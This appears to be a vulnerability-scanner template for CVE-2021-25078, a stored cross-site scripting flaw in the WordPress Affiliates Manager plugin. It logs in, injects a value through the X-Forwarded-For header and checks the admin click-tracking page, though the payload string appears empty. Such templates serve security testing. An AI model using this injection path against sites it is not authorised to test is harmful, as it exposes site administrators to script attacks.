id: CVE-2021-25078 info: name: Affiliates Manager < 2.9.0 - Cross Site Scripting author: r3Y3r53 severity: medium description: | The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests. remediation: Fixed in version 2.9.0 reference: - https://wpscan.com/vulnerability/d4edb5f2-aa1b-4e2d-abb4-76c46def6c6e - https://nvd.nist.gov/vuln/detail/CVE-2021-25078 metadata: max-request: 3 verified: true tags: cve,wp,wordpress,authenticated,cve2021,affiliates-manager,wp-plugin,xss,wpscan http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /?wpam_id=1 HTTP/1.1 Host: {{Hostname}} X-Forwarded-For: - | GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - 'status_code_2 == 200 && status_code_3 == 200' - 'contains(all_headers_3, "text/html")' - 'contains(body_3, "")' - 'contains(body_3, "Affiliates Manager Click Tracking")' condition: and